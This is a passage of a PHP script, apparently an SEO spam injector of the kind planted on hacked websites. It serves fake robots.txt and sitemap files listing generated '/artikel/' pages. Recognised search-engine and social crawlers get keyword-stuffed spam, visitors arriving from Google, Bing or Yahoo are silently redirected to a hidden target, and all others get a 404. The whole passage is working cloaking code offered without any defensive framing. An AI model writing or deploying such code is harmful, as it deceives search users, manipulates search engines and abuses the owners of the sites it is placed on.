$j = json_decode(file_get_contents($pf), true);
if (is_array($j)) {
$pool = $j;
}
}
$kw = isset($pool['kw']) ? $pool['kw'] : array();
$art = isset($pool['art']) ? $pool['art'] : array();
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$base = 'https://' . $host;
$sdate = '20260831';
if ($uri === '/robots.txt') {
header('Content-Type: text/plain; charset=utf-8');
echo "User-agent: *\nDisallow:\nSitemap: " . $base . "/sitemap.xml";
exit;
}
if ($uri === '/sitemap.xml') {
header('Content-Type: application/xml; charset=utf-8');
echo '';
$nk = ceil(count($kw) / 1000);
$na = ceil(count($art) / 1000);
for ($i = 1; $i <= $nk; $i++) {
echo '' . $base . '/sitemap-k-' . $i . '.xml';
}
for ($i = 1; $i <= $na; $i++) {
echo '' . $base . '/sitemap-a-' . $i . '.xml';
}
echo '';
exit;
}
if (preg_match('#^/sitemap-(k|a)-([0-9]+)\.xml$#', $uri, $sm)) {
$list = ($sm[1] === 'k') ? $kw : $art;
$page = (int) $sm[2];
$slice = array_slice($list, ($page - 1) * 1000, 1000);
header('Content-Type: application/xml; charset=utf-8');
echo '';
foreach ($slice as $i => $it) {
$seq = ($page - 1) * 1000 + $i;
$code = str_pad(base_convert($seq, 10, 36), 10, '0', STR_PAD_LEFT);
echo '' . $base . '/artikel/' . $sdate . '/' . $code . '.html';
}
echo '';
exit;
}
if (!preg_match('#/artikel/([0-9]{8})/([a-z0-9]{10})\.html#', $uri, $m)) {
http_response_code(404);
exit;
}
$code = $m[2];
$sp = 0;
$bots = array('googlebot','bingbot','baiduspider','yandex','sogou','duckduck','slurp','facebookexternalhit','twitterbot','applebot','petalbot','bytespider');
foreach ($bots as $b) {
if (strpos($ua, $b) !== false) {
$sp = 1;
break;
}
}
if ($sp) {
$h = crc32($code);
$type = ($h & 1) ? 'art' : 'kw';
$list = ($type === 'art') ? $art : $kw;
if (!$list) {
$list = array(array('t' => '', 'c' => ''));
}
$idx = abs($h) % count($list);
$it = $list[$idx];
$t = isset($it['t']) ? $it['t'] : '';
$c = isset($it['c']) ? $it['c'] : '';
echo '' . $t . '' . $t . '
' . $c . '
';
exit;
}
if (strpos($ref, 'google') !== false || strpos($ref, 'bing.') !== false || strpos($ref, 'yahoo') !== false) {
header('Location: ' . $TARGET, true, 302);
exit;
}
http_response_code(404);
exit;